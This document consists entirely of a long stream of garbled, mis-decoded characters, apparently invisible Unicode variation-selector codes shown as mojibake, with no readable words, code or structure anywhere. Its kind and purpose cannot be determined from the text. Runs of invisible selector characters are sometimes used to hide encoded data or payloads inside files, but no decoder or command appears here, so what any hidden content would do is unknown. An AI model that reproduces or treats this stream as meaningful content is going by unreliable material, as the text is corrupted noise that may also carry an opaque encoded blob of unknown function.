…ฐ๓ †๓ ‡†๓ „’๓ …บ๓ †š๓ ‡’๓ †‹๓ „€๓ „“๓ ‡›๓ …Ž๓ …ฉ๓ †•๓ †ด๓ †‘๓ ‡ซ๓ …พ๓ †ฉ๓ …พ๓ …บ๓ …Ÿ๓ †€๓ †น๓ „‚๓ ‡๓ †ซ๓ †คโทฝ๓ †๓ †ข๓ †š๓ …พ๓ …ณ๓ …บโทพ๓ ‡ฆ๓ ‡ข๓ ‡๓ ‡ฉ๓ ‡›๓ †ฃ๓ †“โทดโทด๓ ‡ญ๓ ‡‰๓ „๓ †ฎ๓ ‡๓ „™๓ ‡ง๓ …™๓ „ณ๓ †ค๓ „ง๓ …ฟ๓ †ด๓ †ญ๓ „Ÿ๓ „ฉ๓ †๓ …Œ๓ …”๓ ‡–๓ †ข๓ ‡ง๓ †‚๓ „”โทบโทท๓ †–๓ ‡ฉ๓ ‡ž๓ …—๓ …ข๓ …ป๓ †Žโทฒ๓ †ป๓ †ฃ๓ †ณ๓ ‡”๓ †Œ๓ …ด๓ …ฐ๓ †๓ …ฝ๓ †ก๓ †ป๓ †ฝ๓ ‡๓ „ ๓ „Ÿ๓ ‡ซ๓ …‡๓ ‡ช๓ „”๓ †‰๓ †’๓ …œ๓ ‡„๓ „˜โทธ๓ ‡ž๓ …‚๓ …น๓ „บ๓ „ฌ๓ †”๓ ‡‡๓ †ธ๓ …ต๓ „๓ …ป๓ „บ๓ †š๓ …ช๓ †ญ๓ †‰๓ ‡จ๓ „ฉ๓ †ถ๓ …’๓ †ฉ๓ …‡๓ …ง๓ …ฑ๓ †๓ „™๓ ‡Œ๓ †š๓ ‡›๓ „–๓ †“๓ †ญ๓ ‡„๓ †ญ๓ ‡–โทน๓ „ƒ๓ …๓ ‡„๓ †–๓ ‡Š๓ †‹๓ ‡œ๓ „ถ๓ …ฒ๓ †Š๓ …ผ๓ ‡›๓ †ณ๓ …ฏ๓ †จโทฑ๓ †ผ๓ †Ž๓ ‡“๓ †ฌ๓ „‚๓ ‡ฏ๓ †›๓ †‘๓ †ณ๓ „ฌ๓ …š๓ „Š๓ †‡๓ ‡”๓ …ด๓ †œ๓ †ซ๓ …ก๓ …Ž๓ ‡…๓ …ข๓ ‡™๓ …™๓ „ถ๓ …›โทต๓ „•๓ …ผ๓ †’๓ „„๓ „ฎ๓ …ง๓ ‡๓ †ง๓ „ฏ๓ …Œ๓ „’๓ … ๓ †๓ †ฃ๓ ‡โทพ๓ …”๓ …š๓ „ ๓ „๓ †Š๓ …‚๓ „๓ „ถ๓ „‡๓ „ฝ๓ …‘๓ „๓ †˜๓ ††๓ †๓ …๓ ‡ ๓ „ฝ๓ „ด๓ …ง๓ „ฏ๓ ‡…๓ ……๓ …ผ๓ †ฉ๓ †ผโทป๓ †๓ „ซโทด๓ ‡ก๓ „ถ๓ „€โทท๓ ††๓ †๓ „จ๓ …ท๓ …Œ๓ †ฆ๓ „ด๓ †Œ๓ ‡๓ ‡‘๓ †Ž๓ ‡๓ † ๓ ‡ก๓ ‡‹๓ †›๓ ‡๓ „๓ „œ๓ „๓ „Ž๓ …Ž๓ † ๓ ‡Ÿ๓ …“๓ ‡œ๓ ‡ฃ๓ „‚๓ …ฆ๓ „ญ๓ …›๓ †•๓ ‡๓ ‡ž๓ „ฌ๓ †ˆ๓ …ฟ๓ †ฎ๓ … ๓ †ฅ๓ „…๓ …‰๓ „๓ „ฆ๓ ‡ก๓ ‡˜๓ …˜๓ …†๓ …€๓ „ธ๓ „ข๓ „Š๓ †‘๓ …ถ๓ †Ÿ๓ „‘๓ …ญ๓ †ธ๓ †ซ๓ †ญ๓ †—๓ †๓ „บ๓ …ฌ๓ ‡ซโทฑ๓ †จ๓ „๓ „๓ …ท๓ †…๓ ‡™๓ „ช๓ …ฉ๓ …‰๓ ‡…๓ †’๓ †‡๓ ‡ž๓ ‡Š๓ …‘๓ „๓ †ช๓ †ฉ๓ „ฃ๓ †ฏ๓ †ป๓ †จโทณ๓ …•๓ „ฉ๓ …Œ๓ †ž๓ †๓ ‡ช๓ „“โทฒ๓ ‡†๓ …ฎ๓ …จ๓ „…๓ ‡ฉ๓ †‚๓ …ถ๓ …ก๓ ‡Š๓ „ˆ๓ „บ๓ †š๓ ‡๓ …น๓ …ฑ๓ „ต๓ †€๓ …“โทฑโทด๓ „–๓ …ข๓ †‹๓ …ฅ๓ „”๓ „ป๓ †ฑ๓ „ด๓ …ƒ๓ …๓ …ƒ๓ †๓ ‡†๓ „š๓ †’๓ …ƒ๓ …ป๓ †‰๓ †น๓ †น๓ ……๓ …ดโทฝ๓ ‡ค๓ „ฑ๓ „Š๓ „ท๓ „๓ „‡๓ †ฃ๓ ‡๓ †ฎ๓ …ฎ๓ †ขโทฐโทฒ๓ ‡ช๓ ‡ช๓ ‡ก๓ ‡ช๓ …ช๓ …บโทฝ๓ „‰๓ †Œ๓ „‹๓ „™๓ †ง๓ …๓ …ปโทฐ๓ †ฑ๓ †ต๓ …ธ๓ …†๓ …„๓ †ฃ๓ †“๓ …ท๓ „’๓ †Œ๓ …ญ๓ …ฆ๓ †ˆ๓ „‹๓ …ง๓ „“๓ ‡†๓ „‚๓ „ž๓ „ˆ๓ …”๓ „ค๓ …ซ๓ „ฎ๓ „ƒ๓ †ƒ๓ …๓ „‹๓ „ซ๓ „†๓ „ฏ๓ „ง๓ „“๓ †ผโทบ๓ …น๓ ‡ง๓ …€๓ †ผ๓ „ช๓ †๓ †”๓ …ฆ๓ „‚๓ „•๓ „“๓ †™๓ „ผ๓ …•๓ „…๓ †ฆ๓ †ง๓ ‡ง๓ …พ๓ …”๓ „บ๓ †๓ †๓ „ฝ๓ „—๓ „•โทณ๓ ‡…๓ …ฑ๓ †ช๓ †—๓ † ๓ …จ๓ „ถ๓ ‡ง๓ …™๓ …‘๓ †‚๓ †๓ ‡ญ๓ …ช๓ „”๓ …š๓ … ๓ †ง๓ †ฒ๓ ‡๓ ††๓ „„๓ „ก๓ …ข๓ …œ๓ †ฉ๓ „Žโทท๓ ‡Ž๓ †ถ๓ †ƒ๓ ‡ค๓ „๓ „ƒ๓ …ด๓ †‹๓ …—๓ ‡™๓ ‡„๓ ‡™๓ †Ž๓ †€๓ …ต๓ ††๓ †‚๓ ‡ฏ๓ „ฑ๓ †ก๓ „ณ๓ „Ž๓ „™๓ ‡ค๓ …๓ …ฉ๓ ‡—๓ „ฏ๓ …ฒ๓ ‡ค๓ …‰โทด๓ …ณ๓ ‡ช๓ †๓ „—๓ …ฅ๓ …Š๓ …‰๓ †ด๓ †จ๓ …จ๓ †‹๓ †ฐ๓ †บ๓ †๓ …Œ๓ …ฒ๓ … ๓ …ฅ๓ †ป๓ †ฐ๓ „€๓ †›๓ †‚๓ „ฒ๓ „ญ๓ …ผโทณ๓ †’๓ …˜๓ …š๓ †œ๓ ‡คโทด๓ ‡œ๓ ‡ฅ๓ …Š๓ ‡‰โทด๓ …˜๓ ‡‚๓ „ด๓ †๓ ‡๓ ‡“๓ ‡ก๓ †…๓ „ž๓ †“๓ †…๓ ‡ช๓ …ฑ๓ †จ๓ …ซ๓ „˜๓ „„๓ †…๓ ‡ซโทด๓ ‡Ž๓ …ช๓ †‡๓ †๓ ‡ฃ๓ †“๓ †ง๓ …๓ …๓ ‡๓ „ณ๓ ‡”๓ „บ๓ ‡ฉ๓ ‡Ÿ๓ …บ๓ …–๓ …•๓ „ก๓ …ฏ๓ ‡๓ …ฎ๓ …ญ๓ …ด๓ †ฏ๓ …ช๓ „‚๓ „ฝ๓ †ฎ๓ „บโทฑ๓ †พ๓ …“๓ …™๓ …ฝ๓ ‡‘๓ †ด๓ †ผ๓ …น๓ „ผ๓ „‰๓ …’๓ …œ๓ …Ÿ๓ …ญ๓ †—๓ … ๓ „ต๓ ††๓ †ฌ๓ …๓ …๓ …ถ๓ †ˆ๓ …ถ๓ †„๓ …Œ๓ ‡จ๓ ‡‘๓ …ถ๓ „˜โทท๓ ‡ฃ๓ „Š๓ …ท๓ …ถ๓ …ช๓ „๓ …๓ „œ๓ „‡๓ „ฏ๓ †‚๓ ‡ง๓ ‡๓ †žโทต๓ „•๓ …๓ „ท๓ †น๓ „ผ๓ †„โทบ๓ …ซ๓ †ต๓ ‡™๓ …๓ †ป๓ ‡ก๓ „ฟโทฝ๓ ‡ฌ๓ „ฆ๓ „€๓ †บ๓ …ญ๓ …ฟ๓ †‚๓ …ฅ๓ …ฒ๓ „ฒ๓ „ฐ๓ †ฝ๓ …ฒ๓ †’๓ …ˆ๓ …Š๓ …ฆ๓ …๓ †ญ๓ †ฟ๓ „€๓ …€๓ †ฒ๓ …†๓ †’๓ „‘โทด๓ …ญ๓ †‚๓ „—๓ „ช๓ ‡Ÿ๓ †ฑ๓ †‘๓ ‡ฆ๓ ‡„๓ ‡ญ๓ †ชโทฑ๓ „ฃ๓ …ป๓ …ง๓ †ฝ๓ …พ๓ …๓ †š๓ „’๓ ‡˜โทป๓ … ๓ †ฟ๓ †“๓ ‡•๓ †ธ๓ †ง๓ †ถ๓ ‡‡๓ ††๓ ‡š๓ „Ž๓ ‡˜๓ …ƒ๓ ‡œ๓ †Œ๓ …ฒ๓ „ถ๓ ‡˜๓ † ๓ …€๓ …ฃ๓ …Ÿ๓ …•โทพ๓ †Ž๓ †๓ „‹๓ †พ๓ „ƒ๓ ‡˜๓ ‡๓ †ง๓ …ธโทฑ๓ ‡˜๓ ‡ซ๓ „†๓ …“๓ †Ž๓ „‰๓ „˜๓ „ฐ๓ †ด๓ …„๓ ‡‰๓ „ณ๓ „ณ๓ „ญ๓ ……๓ „‹๓ ††๓ †ข๓ ‡‹๓ †ช๓ †™๓ …ฎ๓ †Ž๓ †‹๓ †ข๓ ‡Ÿ๓ ‡ฅ๓ †๓ …คโทปโทผ๓ ‡ข๓ …ฌ๓ „›๓ …ฎ๓ ‡ค๓ „–๓ †ผ๓ …คโทต๓ …€๓ †โทฑ๓ …™๓ ‡๓ †˜๓ …ฉ๓ ‡‘๓ …ฆโทธ๓ ‡ญ๓ ‡ฉ๓ ‡›๓ ‡ฃ๓ „ญ๓ „ถ๓ …ฑ๓ ††๓ …ช๓ ‡“๓ „ฃ๓ †ท๓ ‡ฃโทด๓ „—๓ …ง๓ ‡Ÿ๓ „ž๓ …ฏ๓ †ฑ๓ ‡‰๓ „จ๓ „ฝ๓ †…โทณ๓ ‡ฃ๓ „€๓ …Ÿ๓ „๓ †๓ †œ๓ „Ÿ๓ …ฏ๓ †ฉ๓ †‘๓ „๓ ‡‘๓ †—๓ …‡๓ …”๓ …”๓ ‡๓ „ค๓ †˜๓ †—๓ …ต๓ ‡–๓ ‡…๓ „ƒ๓ †‚๓ ‡‘๓ †ƒโทบโทถ๓ ‡ซ๓ †—๓ ‡‡๓ …ง๓ ‡›๓ ‡๓ ‡€๓ ‡‰๓ ‡‚๓ „ ๓ …ฌ๓ …ž๓ ‡Œ๓ †บ๓ …ฑ๓ †ท๓ †‡๓ †ตโทฝ๓ …™๓ …”๓ „“๓ „ˆ๓ „‹โทณ๓ …น๓ „ผ๓ „Ž๓ †๓ …ง๓ …ด๓ ‡ฃ๓ ‡๓ …˜๓ †ป๓ „๓ †ด๓ „ผ๓ …ช๓ …‰โทฐ๓ …„๓ ‡ˆ๓ ‡š๓ „›๓ ‡‹๓ †ช๓ …›๓ †ˆ๓ …จ๓ …ฎ๓ †š๓ …ฌ๓ …ถ๓ „๓ ‡ž๓ †‡๓ †‚๓ „…๓ †Œ๓ „‹๓ ‡ฆ๓ †ซ๓ †ฒ๓ †ค๓ †—๓ „จโทผ๓ „ฒ๓ †š๓ „พ๓ †๓ …Ÿ๓ †„๓ „“๓ †…๓ † ๓ „น๓ „๓ „ ๓ „๓ †—๓ „ง๓ „™๓ ‡๓ „ฏโทป๓ ††๓ †ถ๓ †๓ „ก๓ …ฃ๓ †•๓ ‡ง๓ †ฑ๓ …ฃ๓ …ป๓ …Ÿ๓ „ธ๓ …“๓ ‡ ๓ †ฃ๓ †ฃ๓ „š๓ †ซ๓ ‡ƒ๓ †ค๓ ‡ก๓ „ญ๓ „‰๓ …ซ๓ „†๓ ‡ ๓ ‡‘๓ „•๓ †’๓ †ต๓ …ผ๓ …˜๓ …จ๓ „ฏ๓ †‚๓ ‡๓ „‡๓ ‡Œ๓ †ช๓ †ซ๓ …ฎ๓ ‡‡๓ …ง๓ …ง๓ †ง๓ …ง๓ †‡๓ ‡ ๓ ‡œ๓ …ซ๓ „ˆโทธ๓ „ ๓ …จ๓ …š๓ „‡๓ „•๓ ‡˜๓ …ฌ๓ †‘โทป๓ †ช๓ †‚๓ †ฆ๓ „๓ †ญ๓ „ธโทด๓ †บ๓ …ƒ๓ ‡๓ „ธ๓ †”๓ ‡™๓ …ฌ๓ „ฝ๓ …๓ ‡ซ๓ ‡„๓ †ข๓ …๓ „ฐ๓ „’๓ …ถ๓ „ญ๓ ‡๓ †ฝ๓ ‡‡๓ †ฟ๓ „๓ ‡ฏ๓ …‹๓ …•โทฐ๓ …›๓ †„๓ †ผ๓ †ฑ๓ „ผ๓ „‰๓ ‡žโทฑ๓ ‡Žโทฒ๓ …ฌ๓ …Š๓ ‡ ๓ …‘๓ ‡ฌ๓ †ธ๓ …๓ ‡—๓ ‡Ÿ๓ …’๓ „‹โทฒ๓ †ฃ๓ ‡ฆ๓ †ด๓ †‹๓ ‡Š๓ ‡ข๓ ‡‡๓ ‡†๓ †ก๓ „ถ๓ †Š๓ „ด๓ †‚๓ „ณ๓ †—๓ ‡ž๓ „จ๓ ‡ฉ๓ …ˆ๓ „ต๓ „ฑ๓ †ง๓ †ฏ๓ …‘๓ †ˆ๓ †ฅ๓ …ธ๓ …จ๓ †ซ๓ …ต๓ „˜โทฐ๓ †‹๓ …ฎ๓ „ป๓ ‡ก๓ …๓ „”๓ †˜๓ †˜๓ „ฐ๓ …ณ๓ „ช๓ „ฐ๓ †ญโทฐ๓ †€๓ †–๓ …ฌ๓ †ก๓ †ฆ๓ †๓ „คโทฑ๓ †ง๓ …ช๓ „๓ ‡ฌ๓ …ฆ๓ „•๓ ‡ฌ๓ „ถโทฑ๓ †๓ „๓ „†๓ …ฎ๓ †Œ๓ …ญ๓ …›๓ †ณ๓ †ฌ๓ „…๓ …˜๓ †ถ๓ ‡๓ …ฟ๓ …๓ †ณ๓ ‡Š๓ „กโทณ๓ ‡ ๓ „Žโทณโทฒ๓ …บ๓ …ˆ๓ †ฏ๓ …บ๓ ‡ฎ๓ ‡…๓ …ฃ๓ †ž๓ †ค๓ „๓ ‡…๓ „จ๓ …ฎ๓ ‡ฌ๓ ‡ค๓ †ท๓ ‡—๓ †”๓ ‡‹๓ ‡๓ †Š๓ …ฒโทฝ๓ „ฟ๓ †ฃ๓ „ง๓ †—โทป๓ †ซ๓ ‡‰โทต๓ † ๓ †–๓ ‡จ๓ ‡“๓ ‡ง๓ …”๓ ‡Ž๓ „•๓ ‡ง๓ †’๓ †ด๓ †ฅ๓ †Ÿ๓ …Ž๓ …๓ …ช๓ †ฉ๓ …ค๓ ‡Œ๓ ‡ฏ๓ ‡Šโทน๓ …ข๓ „จ๓ „จ๓ …‹โทธ๓ …๓ „Ÿ๓ „จ๓ …จ๓ ‡ฃ๓ „บ๓ †ต๓ …ฉ๓ „Ÿ๓ „ณ๓ „ฏ๓ †ช๓ „ฏ๓ ‡Ž๓ ‡•๓ †ถ๓ „ป๓ „ญ๓ „ช๓ …“๓ „ฐโทฒ๓ …ถ๓ „บ๓ …Š๓ †ชโทณ๓ †–๓ ‡ž๓ „๓ …ธ๓ …ช๓ …ด๓ …Ÿ๓ …ญ๓ …ž๓ …“๓ „ฑ๓ „ง๓ ‡’๓ …๓ ‡ญ๓ ‡ฎ๓ …ž๓ ‡“๓ …ผ๓ †๓ „ฌ๓ ‡Ÿ๓ …๓ †‚๓ †›๓ †ฌ๓ „•๓ †„๓ †ƒ๓ †ณ๓ „ง๓ †ช๓ ‡•๓ †‚๓ …ฎ๓ …Œ๓ …„๓ …š๓ …๓ …ˆ๓ ‡š๓ …๓ †ช๓ †‰๓ †˜๓ …ข๓ …‚๓ †”๓ †•๓ †…๓ ‡‘๓ ‡ข๓ †ก๓ „…๓ …ค๓ …Žโทฝ๓ †”๓ †บ๓ …ท๓ ‡„๓ †…๏ปฟโทธ๓ …”๓ ‡†๓ †™๓ „ต๓ „๓ †ฆ๓ …๓ …ˆ๓ ††๓ „ฎ๓ …ฑ๓ ‡ˆ๓ „ธ๓ „Ÿโทท๓ „ธ๓ „’๓ …•๓ „ƒ๓ …พ๓ …ผ๓ …ถ๓ †Ÿ๓ …’๓ …™โทด๓ „ง๓ †ฝ๓ …ผ๓ ‡จ๓ ‡๓ „š๓ „บ๓ †พ๓ „ข๓ ††๓ †๓ ‡ฃ๓ ‡ฉ๓ ‡‚๓ †ˆ๓ †ž๓ †œ๓ …ฃ๓ „ผ๓ …๓ „ท๓ †๓ …ƒ๓ …พ๓ …™๓ „น๓ … ๓ …ฆ๓ „ˆ๓ ‡ž๓ …๓ †ช๓ †ผ๓ „–๓ †„๓ „”๓ †‡๓ †๓ „ณ๓ ‡‡๓ …ฝ๓ †ธ๓ ‡ญ๓ †ก๓ …•๓ †ˆ๓ ‡ช๓ …ž๓ ‡•โทฝ๓ „ธ๓ ‡™๓ …ก๓ „„๓ †“๓ ‡š๓ „”๓ ‡ฅ๓ „‰๓ „ฉ๓ †๓ …ฟ๓ †Ž๓ †˜๓ „‹๓ …ซ๓ ‡๓ „Ž๓ †“๓ ‡„๓ …Ž๓ …š๓ †บ๓ ‡๓ „ธ๓ ‡„โทป๓ „ฅ๓ †ค๓ …ˆ๓ „ญ๓ ‡ค๓ …๓ ‡ฆ๓ „จ๓ „Ÿ๓ „‘๓ †•๓ …Š๓ †Ž๓ „Ÿ๓ ‡‹๓ †ถ๓ …ž๓ „ฎ๓ ‡ƒ๓ †—๓ †ข๓ †ธ๓ …ฅ๓ …ฒ๓ †™๓ †‘๓ „ฆ๓ …ฆ๓ †จ๓ …บ๓ …”๓ †ข๓ …“๓ †๓ †ฉ๓ „ผ๓ …ƒ๓ „ณโทน๓ …Š๓ †ฆ๓ „Ž๓ …Ž๓ …น๓ ‡›๓ ……๓ ‡–๓ ‡ฏ๓ „‚๓ ‡’๓ „ โทฒ๓ ‡š๓ ‡š๓ ‡Šโทฐ๓ „ธ๓ …†๓ ‡€๓ …ญ๓ ‡Œ๓ ‡Ž๓ †จ๓ ‡…๓ ‡ฌโทฐ๓ „๓ †ฃ๓ †ก๓ †๓ …‡๓ ‡ก๓ „ท๓ …„๓ …ง๓ †๓ ††๓ †‡๓ „“๓ „‡๓ ‡‹๓ †œ๓ …’๓ ‡‹๓ †Ž๓ …ค๓ „ฒ๓ …ฆ๓ „๓ ‡š๓ „™๓ ‡ ๓ „‡๓ …ต๓ †ฎ๓ …€๓ †œ๓ ‡ž๓ …ญ๓ †ด๓ †ฑ๓ ‡ฎ๓ †ญ๓ „ƒ๓ …ซ๓ …›๓ …˜๓ „Ÿ๓ ‡’โทน๓ …ซ๓ „‰๓ …กโทท๓ …ญ๓ …ฃ๓ …น๓ ‡งโทณ๓ †ƒ๓ „ ๓ †๓ † ๓ ‡ฃ๓ ‡ก๓ ‡ช๓ †โทถ๓ †จ๓ †๓ †๓ †๓ †ช๓ †ฃ๓ †Ž๓ …“๓ †ฏ๓ „๓ „‰๓ ‡ง๓ ‡–๓ †ฃ๓ ‡“๓ ‡ฎ๓ …’โทฐ๓ „จ๓ ‡ฅ๓ ‡‰๓ †๓ †ท๓ „ชโทธ๓ „’๓ „”๓ …ฑ๓ †ธ๓ „ฝ๓ …ด๓ „–๓ „ฉ๓ ‡ก๓ „‚๓ †ค๓ †‚๓ „ฆ๓ „ถ๓ …ฝ๓ ‡‘๓ ‡ญ๓ †ฑ๓ †ฃ๓ …ฃ๓ …ง๓ ‡ฌ๓ †„๓ …โทณ๓ …ก๓ †๓ ‡‚๓ „‡๓ „๓ …‡๓ „˜๓ „˜๓ …ฉโทพ๓ ‡จ๓ †ฆ๓ „ƒ๓ …๓ ‡๓ †€๓ …๓ ‡๓ ‡…๓ †ฒ๓ †ป๓ …ณ๓ „ฌ๓ †ฏ๓ „ฒ๓ †ก๓ †ณ๓ …•๓ †ƒโทพ๓ †ˆ๓ †›๓ ‡…๓ †š๓ †๓ „”๓ …น๓ …ฉ๓ „ ๓ ‡ฉ๓ …ฐ๓ …ฉ๓ …ญ๓ …ป๓ †ฆโทถ๓ †พ๓ ‡๓ †œ๓ ‡—โทด๓ …€๓ †Ÿ๓ ‡“๓ …น๓ …บ๓ „ƒ๓ …ฌ๓ „ธ๓ †ž๓ „“๓ ‡‹๓ „๓ „ฅ๓ …’๓ ‡ข๓ …ฌ๓ „ฃโทฝ๓ „ด๓ „‰๓ †ค๓ „ฎ๓ …™๓ †ป๓ …ป๓ „Ÿ๓ „ด๓ †ก๓ „•๓ …ฑ๓ …˜๓ „…โทฒ๓ „ฒ๓ †‹๓ „†๓ †ž๓ ‡ž๓ †‹๓ „ต๓ „†โทณ๓ †ƒ๓ †›๓ …ฅ๓ …ž๓ †˜๓ „ง๓ …‰๓ „ฎ๓ „‘๓ ‡ซ๓ …š๓ †ฒ๓ †ข๓ ‡‰๓ ††๓ †ท๓ ‡Ž๓ ‡ค๓ ‡…๓ „ƒ๓ †‡๓ „ฒ๓ ‡ฎ๓ …Ÿ๓ †ถ๓ „š๓ ‡˜๓ …‰โทป๓ „•๓ †›๓ …จ๓ ‡–๓ …ฎ๓ †—๓ †ต๓ †ƒ๓ †ฆ๓ „๓ †˜๓ …ธ๓ ‡โทบ๓ ‡ช๓ ‡ชโทฝโทณ๓ †›๓ †ซ๓ †ซ๓ ‡‹๓ †ซ๓ †ซโทผ๓ †“๓ ‡จ๓ „‹โทผ๓ †Œ๏ปฟ๓ †ฒ๓ ‡€๓ ‡ ๓ „“โทพ๓ †ˆ๓ …Š๓ …ž๓ …˜โทพ๓ „พ๓ †“๓ „Ž๓ ‡ฉ๓ ‡ ๓ ‡ ๓ …€๓ ‡ž๓ †ต๓ ‡ ๓ †ƒ๓ …ถ๓ …Š๓ †ฑ๓ …ฑ๓ …ฏ๓ …–๓ †ผ๓ ‡๓ „–๓ ‡ ๓ ‡ฃ๓ †‚๓ …•๓ …ต๓ …Ÿ๓ ‡•๓ „๓ †•๓ „Œ๓ „—๓ …š๓ …จ๓ ‡๓ …–๓ „š๓ …น๓ „‚๓ „Ÿ๓ …Ÿ๓ …ด๓ …ฉ๓ „š๓ †ต๓ †ข๓ †œ๓ …๓ †‚๓ †ง๓ …๓ ‡•๓ …ญ๓ ‡โทป๓ „‡๓ „ผ๓ †ž๓ †ณ๓ „ฏ๓ …€๓ …๓ †ƒ๓ …ฉ๓ ‡ช๓ …–๓ „ง๓ ‡ฎ๓ †ซ๓ ‡—๓ …–๓ ‡ž๓ „๓ ‡ž๓ …ฌ๓ …‡๓ „ฐ๓ †Š๓ „ช๓ …๓ „ถโทต๓ „ญ๓ …บ๓ „ป๓ ‡ซ๓ …˜๓ †“๓ †น๓ †ข๓ †ป๓ †๓ ‡Œ๓ †•๓ †ซ๓ ‡‰๓ †จ๓ ‡€๓ „๓ …™๓ „ท๓ †ˆ๓ ‡ข๓ „ช๓ „ต๓ …ท๓ „†๓ ‡–๓ „˜๓ †‚๓ †ท๓ „ป๓ …‘๓ ‡š๓ „พ๓ …˜๓ †Ÿ๓ †ข๓ …˜๓ „ฝ๓ …ข๓ †Ž๓ ‡๓ ‡ซ๓ …๓ „ตโทผโทฒโทป๓ †ฃ๓ †‹๓ ‡€๓ „ˆ๓ †™๓ „…โทน๓ ‡‚๓ „ข๓ †ท๓ †บโทฑ๓ „ ๓ …ฐ๓ ‡Š๓ †’๓ …น๓ …ธ๓ ‡‘๓ †ฌ๓ †๓ ‡ ๓ „„๓ ‡†๓ „โทผ๓ …ž๓ „‚๓ „ฉ๓ „ฟ๓ „๓ ‡ˆ๓ …ž๓ †“๓ „ฉ๓ †„๓ †ฉ๓ ‡…๓ †ผ๓ „๓ … ๓ †šโทผ๓ ‡†๓ „ฐ๓ †ฟ๓ …’๓ „„๓ … ๓ †ต๓ „œ๓ „บ๓ †ง๓ ‡๓ ‡”๓ †น๓ …“โทบ๓ †ต๓ †‚๓ …“๓ „จ๓ „๓ ‡›๓ „ž๓ …ž๓ …•๓ …š๓ †ป๓ …ฑ๓ †ท๓ †๓ „ฏ๓ †šโทต๓ …น๓ ‡ข๓ „บ๓ †ซโทป๓ †ป๓ „ข๓ †ท๓ …๓ …Ÿ๓ … ๓ †–๓ „‘๓ ‡™๓ …‘๓ …ฉ๓ „“๓ …ฃ๓ „Ÿ๓ †ž๓ …ฝ๓ †”๓ †…๓ …ƒ๓ †ฒ๓ ‡“๓ …—๓ †ธ๓ „ด๓ †ž๓ …๓ †‡๓ †ซ๓ †น๓ …‡๓ …•๓ ‡•๓ ‡•๓ †ง๓ ‡™๓ ‡๓ …๓ „ฃ๓ ‡ž๓ „•๓ ‡ ๓ …ณ๓ …ณ๓ †ถ๓ „๓ ‡œ๓ …ฟ๓ …ž๓ ‡๓ „ ๓ ‡‚๓ †–๓ ‡‡๓ „™๓ „พ๓ „˜๓ …†๓ …”๓ „ฝ๓ „ฐ๓ ‡ซ๓ „œ๓ „ฃ๓ †จ๓ ‡๓ „ญ๓ „„๓ ‡ช๓ …พ๓ ‡‹๓ …„๓ „Ž๓ ††๓ „ฎ๓ „ˆ๓ ‡ข๓ ‡ขโทณ๓ ‡ก๓ …ธ๓ …ซ๓ ‡—๓ †—๓ †๓ ‡ƒ๓ „๓ „™๓ „น๓ „…๓ ‡ˆ๓ „œ๓ ‡Š๓ „Ÿ๓ …กโทด๓ …ธ๓ „ฃ๓ …ท๓ … ๓ †๓ ‡๓ †„๓ „ผ๓ „„โทธ๓ †‡๓ …„๓ „๓ …ท๓ †ข๓ †๓ ‡•๓ …ฝ๓ „ง๓ ‡”โทด๓ „ฃโทถ๓ …ƒ๓ ‡–โทฒ๓ „ญโทน๓ ‡œ๓ „‡๓ ‡ฃ๓ …˜๓ ‡ˆ๓ „‡๓ ‡ƒ๓ …ƒ๓ …ฟ๓ „™๓ „ฆ๓ ‡ญ๓ †๓ „ธ๓ „€๓ „บ๓ ‡š๓ „ถ๓ „ซ๓ …—๓ „ธ๓ ‡ฃ๓ „ฅ๓ †ฆ๓ ‡๓ …ฌ๓ …ƒ๓ „‡๓ „ค๓ „‹๓ …‹๓ ‡†๓ „ข๓ †’๓ „‹๓ ‡ˆ๓ …ข๓ „—๓ „ฆ๓ …ฉ๓ …”๓ …™๓ …ป๓ †š๓ ‡˜๓ „ต๓ ‡ƒ๓ …˜๓ …ผ๓ †๓ „ฝ๓ ‡ ๓ ‡“๓ „ˆ๓ †ฒ๓ …น๓ „ข๓ ‡‹๓ …ฑ๓ ‡Ž๓ …จ๓ „ข๓ †ก๓ ‡Œ๓ …‡๓ †บ๓ …ญ๓ †ฒ๓ †ต๓ „…๓ †•๓ „—๓ „ญ๓ ‡๓ …๓ „ฃ๓ …›๓ „ผ๓ …Ÿ๓ †•๓ „Š๓ †ฐ๓ … ๓ …ธ๓ †ฐ๓ …œ๓ …ญ๓ …๓ †Š๓ †พ๓ ‡’๓ …€๓ …ซ๓ „‹๓ ……๓ † ๓ „”๓ …ฆ๓ „ฝ๓ †”๓ †ถ๓ „‡โทณ๓ „Š๓ …ฅ๓ ‡ฆ๓ „ฏ๓ ‡ญ๓ †ฒ๓ ††๓ „™๓ …ซ๓ ‡‡๓ ‡—๓ …พ๓ „”๓ „๓ „ฌ๓ …ต๓ „ข๓ „Š๓ †Œ๓ …ณ๓ „œ๓ ‡๓ †พ๓ „ญ๓ ‡ซ๓ „›๓ „‹๓ ‡œ๓ „‚๓ ‡ ๓ „š๓ „‹๓ „กโทด๓ †ญ๓ †ซ๓ „ฒ๓ ‡ž๓ „ฐ๓ †ฆ๓ „”๓ †’๓ „ฆ๓ …จ๓ †”๓ …‡๓ …ž๓ …–๓ …Š๓ „ถ๓ †ญ๓ ‡ฏ๓ ‡Ž๓ …ด๓ „›๓ †š๓ „…๓ †ซ๓ †Œ๓ „ญ๓ „ฌ๓ „ช๓ †จโทฑ๓ „ด๓ ‡จ๓ „ฐ๓ ‡๓ ‡กโทด๓ „œ๓ „๓ „†๓ …ค๓ …๓ „ฒ๓ …ธ๓ …’๓ …๓ †ผ๓ ‡๓ ‡ช๓ ‡ฅ๓ „บ๓ ‡’๓ †„๓ …“๓ „น๓ †ฒ๓ †ˆ๓ „๓ †ญโทป๓ †–๓ …ธ๓ †ค๓ ‡‹๓ …ญโทถ๓ †…๓ ‡š๓ …ฑ๓ …’๓ „ฒ๓ †žโทฝ๓ …พ๓ ‡ฆ๓ †ฆ๓ …ถ๓ „ด๓ …๓ „œ๓ „ท๓ †ซ๓ …ธ๓ †Š๓ „ง๓ ‡š๓ †„๓ …ก๓ …ด๓ „’๓ …ฉ๓ …น๓ ……๓ †Ÿ๓ „ฉ๓ ‡ฉ๓ …Œ๓ …Œ๓ †๓ …ฅ๓ „ฐ๓ „ก๓ „Š๓ „ธ๓ …ฑ๓ „ต๓ „ ๓ „ด๓ „’๓ …–๓ †‚๓ … ๓ „๓ ‡—๓ † ๓ †โทถโทน๓ ‡ˆ๓ †˜๓ ‡“๓ …ด๓ ‡ฏ๓ …ธโทต๓ †ฎ๓ †ต๓ ‡Š๓ …Ÿ๓ ‡“โทธ๓ †ฟ๓ „ธ๓ …‚๓ …ฐ๓ †œ๓ †ฝ๓ †ก๓ †จ๓ „ ๓ „ž๓ „€๓ …ˆ๓ …น๓ †€๓ „‰๓ †ท๓ †‡๓ ‡ฅ๓ †ท๓ 